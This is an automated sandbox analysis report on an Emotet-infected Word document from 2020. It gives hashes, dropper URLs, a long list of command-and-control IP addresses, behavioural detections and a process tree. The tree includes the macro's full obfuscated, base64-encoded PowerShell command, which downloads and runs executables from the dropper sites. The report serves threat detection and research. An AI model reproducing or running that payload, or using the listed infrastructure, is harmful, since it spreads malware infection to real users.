Analysis
- max time kernel
136s - max time network
140s - platform
windows10_x64 - resource
win10 - submitted
22/09/2020, 08:40
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_4cfc968cd768f17951b0927ce37e5713686b0a8f2b112c3883ae23f8d190d781_2020-09-22__083842612183._doc.doc
Resource
win7v200722
General
- Target emotet_e1_4cfc968cd768f17951b0927ce37e5713686b0a8f2b112c3883ae23f8d190d781_2020-09-22__083842612183._doc.doc
- Size 151KB
- Sample200922-d79dfgleva
- SHA256 4cfc968cd768f17951b0927ce37e5713686b0a8f2b112c3883ae23f8d190d781
- MD5 3c018de30cc5a7f53385da72a3bc43d8
- SHA1 041ccd2c2d8be0d81bb6c6d2ca9d1bd2158135d4
- SHA512 b96776fcacaa6f77f547aec184dbd6d8ce9fbb893e7bf769079c80920c316c91a847ab85328250e5a5c09a9c663271fc9443bdc77733dd86ae5f7d55c664f29f
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://priyamcollection.com/cab/f/
-
exe.dropper
http://querofornecedores.com/wp-includes/images/D/
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exe.dropper
https://hulianwang114.com/attachment/c/
-
exe.dropper
http://ixirhost.xyz/wp-content/z/
-
exe.dropper
https://weneedyourhelpnow.org/wp-content/LJ/
-
exe.dropper
https://averyair.com/wp-content/J/
-
exe.dropper
https://drippglobal.com/wp-content/rV/
Extracted
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emotet
-
76.168.54.203:80
-
51.38.124.206:80
-
38.88.126.202:8080
-
54.37.42.48:8080
-
5.196.35.138:7080
-
177.129.17.170:443
-
87.106.46.107:8080
-
68.183.190.199:8080
-
185.183.16.47:80
-
186.103.141.250:443
-
64.201.88.132:80
-
70.32.84.74:8080
-
68.69.155.181:80
-
82.76.111.249:443
-
111.67.12.221:8080
-
60.93.23.51:80
-
104.131.41.185:8080
-
92.24.50.153:80
-
191.182.6.118:80
-
61.197.92.216:80
-
213.197.182.158:8080
-
137.74.106.111:7080
-
138.97.60.141:7080
-
187.162.248.237:80
-
110.142.219.51:80
-
51.159.23.217:443
-
192.241.143.52:8080
-
190.24.243.186:80
-
51.255.165.160:8080
-
212.71.237.140:8080
-
190.115.18.139:8080
-
174.113.69.136:80
-
178.250.54.208:8080
-
190.2.31.172:80
-
45.16.226.117:443
-
50.121.220.50:80
-
217.13.106.14:8080
-
217.199.160.224:7080
-
80.11.164.185:80
-
172.104.169.32:8080
-
77.90.136.129:8080
-
123.51.47.18:80
-
82.230.1.24:80
-
74.58.215.226:80
-
185.94.252.27:443
-
181.30.61.163:443
-
111.67.77.202:8080
-
96.227.52.8:443
-
2.36.95.106:80
-
78.249.119.122:80
-
209.236.123.42:8080
-
185.215.227.107:443
-
188.135.15.49:80
-
83.169.21.32:7080
-
96.245.123.149:80
-
216.47.196.104:80
-
50.28.51.143:8080
-
5.189.178.202:8080
-
74.136.144.133:80
-
72.47.248.48:7080
-
190.190.148.27:8080
-
189.2.177.210:443
-
98.13.75.196:80
-
185.178.10.77:80
-
181.129.96.162:8080
-
67.247.242.247:80
-
170.81.48.2:80
-
199.203.62.165:80
-
204.225.249.100:7080
-
77.106.157.34:8080
-
68.183.170.114:8080
-
45.46.37.97:80
-
70.32.115.157:8080
-
190.163.31.26:80
-
94.176.234.118:443
-
95.9.180.128:80
-
104.131.103.37:8080
-
35.143.99.174:80
-
91.105.94.200:80
-
190.6.193.152:8080
-
155.186.0.121:80
-
219.92.13.25:80
-
12.162.84.2:8080
-
220.109.145.69:80
-
177.74.228.34:80
-
77.238.212.227:80
-
61.92.159.208:8080
-
186.70.127.199:8090
-
45.33.77.42:8080
-
152.169.22.67:80
-
192.241.146.84:8080
-
185.94.252.12:80
-
177.73.0.98:443
-
65.36.62.20:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1956 2852 POWeRsHeLL.exe 73 - Emotet Payload 8 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3108-14-0x0000000000570000-0x0000000000582000-memory.dmp emotet behavioral2/memory/3108-14-0x0000000000570000-0x0000000000582000-memory.dmp emotet behavioral2/memory/3108-15-0x00000000006A0000-0x00000000006B0000-memory.dmp emotet behavioral2/memory/3108-15-0x00000000006A0000-0x00000000006B0000-memory.dmp emotet behavioral2/memory/2888-18-0x00000000004A0000-0x00000000004B2000-memory.dmp emotet behavioral2/memory/2888-18-0x00000000004A0000-0x00000000004B2000-memory.dmp emotet behavioral2/memory/2888-19-0x0000000001F40000-0x0000000001F50000-memory.dmp emotet behavioral2/memory/2888-19-0x0000000001F40000-0x0000000001F50000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 16 1956 POWeRsHeLL.exe - Executes dropped EXE 2 IoCs
pid Process 3108 P1mvj5z.exe 2888 elshyph.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\uxlib\elshyph.exe P1mvj5z.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3828 WINWORD.EXE 3828 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1956 POWeRsHeLL.exe 1956 POWeRsHeLL.exe 1956 POWeRsHeLL.exe 2888 elshyph.exe 2888 elshyph.exe 2888 elshyph.exe 2888 elshyph.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1956 POWeRsHeLL.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1956 wrote to memory of 3108 1956 POWeRsHeLL.exe 78 PID 1956 wrote to memory of 3108 1956 POWeRsHeLL.exe 78 PID 1956 wrote to memory of 3108 1956 POWeRsHeLL.exe 78 PID 3108 wrote to memory of 2888 3108 P1mvj5z.exe 82 PID 3108 wrote to memory of 2888 3108 P1mvj5z.exe 82 PID 3108 wrote to memory of 2888 3108 P1mvj5z.exe 82
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_4cfc968cd768f17951b0927ce37e5713686b0a8f2b112c3883ae23f8d190d781_2020-09-22__083842612183._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3828
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C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exePOWeRsHeLL -ENCOD JABaADEAaQBjAGMANQBwAD0AKAAoACcATQBjAF8AJwArACcANQBrACcAKQArACcAegAnACsAJwBlACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBQAHIATwBmAGkAbABFAFwAYwBlAGQAMwA1ADMAQwBcAFYAUAB2AGUASQBMAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAcgBJAHQAWQBgAFAAYABSAE8AYABUAGAAbwBjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzACcAKQArACcAMQAyACcAKwAoACcALAAnACsAJwAgAHQAJwApACsAKAAnAGwAcwAxACcAKwAnADEAJwApACsAKAAnACwAIAAnACsAJwB0ACcAKQArACcAbABzACcAKQA7ACQAUgA1ADgAZAByADEAdAAgAD0AIAAoACcAUAAnACsAKAAnADEAbQB2ACcAKwAnAGoAJwApACsAJwA1AHoAJwApADsAJABJADEAeAA2AG0AbgBxAD0AKAAoACcARgAnACsAJwB4AGQAMwBzAHIAJwApACsAJwBnACcAKQA7ACQAUwBvAGQAcgBqADgAcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBDAGUAJwArACcAZAAzACcAKwAnADUAMwBjAHsAMAB9AFYAcAB2AGUAaQAnACsAJwBsAHcAJwArACcAewAwACcAKwAnAH0AJwApAC0ARgBbAGMAaABBAHIAXQA5ADIAKQArACQAUgA1ADgAZAByADEAdAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAUwBfAGoAMgA0AGoAZAA9ACgAKAAnAEgAZgB0AHMAJwArACcAMAAnACkAKwAnAGEAYQAnACkAOwAkAFEAdwBoADkAcQBmAGsAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AdwBlAEIAQwBsAEkARQBOAFQAOwAkAEEAXwAyAHkAeABoADMAPQAoACcAaAB0ACcAKwAoACcAdAAnACsAJwBwACcAKwAnADoALwAvAHAAcgBpACcAKQArACgAJwB5AGEAbQBjAG8AJwArACcAbAAnACkAKwAnAGwAJwArACgAJwBlAGMAdABpAG8AJwArACcAbgAuAGMAbwBtAC8AYwBhACcAKwAnAGIAJwArACcALwBmACcAKwAnAC8AKgBoAHQAdABwADoALwAvACcAKwAnAHEAdQBlAHIAbwBmAG8AcgBuAGUAYwBlACcAKwAnAGQAJwArACcAbwByAGUAcwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAnACsAJwAtAGkAbgBjAGwAdQBkAGUAJwArACcAcwAvAGkAbQBhAGcAZQAnACsAJwBzAC8ARAAvACcAKQArACcAKgBoACcAKwAnAHQAJwArACgAJwB0AHAAJwArACcAcwA6ACcAKQArACgAJwAvAC8AaAAnACsAJwB1ACcAKwAnAGwAaQBhAG4AJwArACcAdwAnACkAKwAoACcAYQAnACsAJwBuAGcAMQAnACkAKwAoACcAMQA0AC4AJwArACcAYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AYQB0AHQAJwArACcAYQAnACkAKwAnAGMAaAAnACsAKAAnAG0AJwArACcAZQBuACcAKQArACgAJwB0ACcAKwAnAC8AYwAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvAC8AaQB4ACcAKQArACgAJwBpAHIAJwArACcAaABvACcAKwAnAHMAdAAuAHgAeQB6AC8AJwArACcAdwBwACcAKwAnAC0AYwBvACcAKQArACcAbgB0ACcAKwAoACcAZQBuACcAKwAnAHQAJwApACsAJwAvACcAKwAnAHoAJwArACcALwAqACcAKwAoACcAaAAnACsAJwB0ACcAKwAnAHQAcABzADoALwAvAHcAZQBuACcAKQArACgAJwBlACcAKwAnAGUAZAAnACkAKwAoACcAeQAnACsAJwBvAHUAcgAnACsAJwBoAGUAbABwAG4AJwArACcAbwB3AC4AbwByAGcALwB3AHAAJwArACcALQAnACsAJwBjAG8AJwArACcAbgB0AGUAbgAnACkAKwAoACcAdAAvACcAKwAnAEwASgAnACsAJwAvACoAaAB0ACcAKwAnAHQAcABzACcAKQArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGEAdgAnACsAKAAnAGUAcgB5AGEAaQAnACsAJwByAC4AJwArACcAYwBvAG0AJwApACsAKAAnAC8AdwBwACcAKwAnAC0AYwBvAG4AJwArACcAdABlACcAKQArACgAJwBuAHQALwAnACsAJwBKAC8AJwArACcAKgBoAHQAdAAnACkAKwAnAHAAJwArACcAcwA6ACcAKwAnAC8ALwAnACsAJwBkACcAKwAoACcAcgAnACsAJwBpAHAAJwApACsAKAAnAHAAZwBsAG8AYgAnACsAJwBhACcAKQArACgAJwBsAC4AJwArACcAYwBvAG0ALwAnACkAKwAoACcAdwBwACcAKwAnAC0AYwBvACcAKQArACgAJwBuAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AcgBWACcAKwAnAC8AJwApACkALgAiAHMAcABsAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQBrADIAbgBnAHYAMwA9ACgAKAAnAFEAdwAnACsAJwB3AHgAJwApACsAKAAnAHYAbQAnACsAJwA5ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARABlAF8AcQAxAG0AdwAgAGkAbgAgACQAQQBfADIAeQB4AGgAMwApAHsAdAByAHkAewAkAFEAdwBoADkAcQBmAGsALgAiAGQAbwB3AG4AbABPAGAAQQBgAEQARgBJAEwARQAiACgAJABEAGUAXwBxADEAbQB3ACwAIAAkAFMAbwBkAHIAagA4AHMAKQA7ACQATgBjADgAagB2ADkAZgA9ACgAJwBQACcAKwAoACcAcwB1ACcAKwAnAGcAJwApACsAKAAnADYAOQAnACsAJwBwACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAFMAbwBkAHIAagA4AHMAKQAuACIAbABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADMANgA3ADIAKQAgAHsALgAoACcASQBuAHYAbwBrAGUALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQAUwBvAGQAcgBqADgAcwApADsAJABZADIAaAAxADUAZQBlAD0AKAAnAEQAJwArACgAJwBlAGcAeAAnACsAJwBxACcAKQArACcAdQAwACcAKQA7AGIAcgBlAGEAawA7ACQASwAwADgAZQAzAHYAZAA9ACgAKAAnAFMAMgAnACsAJwB6ACcAKQArACcAYQB3ACcAKwAnAGsAegAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAYQB5AHYAMQBwADEAPQAoACcAVQAnACsAKAAnAGIAJwArACcAcAA1ADAAbwAnACsAJwBnACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1956 -
C:\Users\Admin\Ced353c\Vpveilw\P1mvj5z.exe"C:\Users\Admin\Ced353c\Vpveilw\P1mvj5z.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3108 -
C:\Windows\SysWOW64\uxlib\elshyph.exe"C:\Windows\SysWOW64\uxlib\elshyph.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2888
-
-